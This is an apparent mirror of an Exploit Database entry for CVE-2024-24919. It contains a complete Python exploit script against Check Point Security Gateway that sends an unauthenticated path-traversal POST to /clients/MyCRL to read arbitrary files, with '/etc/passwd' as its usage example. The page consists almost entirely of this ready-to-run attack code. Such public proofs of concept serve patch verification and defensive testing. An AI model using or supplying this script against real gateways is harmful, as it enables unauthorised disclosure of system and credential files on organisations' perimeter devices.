Check Point Security Gateway – Information Disclosure (Unauthenticated)

• Exploit Database
• 920 阅读

• 作者： Yesith Alvarez
  日期： 2024-05-31
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/52029/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60

  # Exploit Title:Check Point Security Gateway - Information Disclosure (Unauthenticated) # Exploit Author: Yesith Alvarez # Vendor Homepage: https://support.checkpoint.com/results/sk/sk182336 # Version: R77.20 (EOL), R77.30 (EOL), R80.10 (EOL), R80.20 (EOL), R80.20.x, R80.20SP (EOL), R80.30 (EOL), R80.30SP (EOL), R80.40 (EOL), R81, R81.10, R81.10.x, R81.20 # CVE : CVE-2024-24919   from requests import Request, Session import sys import json       def title(): print(&apos;&apos;&apos;   __________________ ___ __________ ________ / ____\ \/ /____||__ \ / _ \__ \| || ||__ \| || | / _ \/_ |/ _ \ | | \ \/ /| |__ ______ ) | | | | ) | || |_ ______ ) | || || (_) || | (_) | | |\ \/ / |__|______/ /| | | |/ /|__ _|______/ /|__ _\__, || |\__, | | |____ \/| |____/ /_| |_| / /_ | | / /_ | | / / | |/ / \_____| \/ |______||____|\___/____||_||____||_|/_/|_| /_/       Author: Yesith Alvarez Github: https://github.com/yealvarez Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/ &apos;&apos;&apos;)   def exploit(url, path): url = url + &apos;/clients/MyCRL&apos; data = "aCSHELL/../../../../../../../../../../.."+ path headers = { &apos;Connection&apos;: &apos;keep-alive&apos;, &apos;User-Agent&apos;: &apos;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0&apos; } s = Session() req = Request(&apos;POST&apos;, url, data=data, headers=headers) prepped = req.prepare() #del prepped.headers[&apos;Content-Type&apos;] resp = s.send(prepped, verify=False, timeout=15 ) print(prepped.headers) print(url) print(resp.headers) print(resp.status_code)     if __name__ == &apos;__main__&apos;: title() if(len(sys.argv) < 3): print(&apos;[+] USAGE: python3 %s https://<target_url> path\n&apos;%(sys.argv[0])) print(&apos;[+] EXAMPLE: python3 %s https://192.168.0.10 "/etc/passwd"\n&apos;%(sys.argv[0])) exit(0) else: exploit(sys.argv[1],sys.argv[2])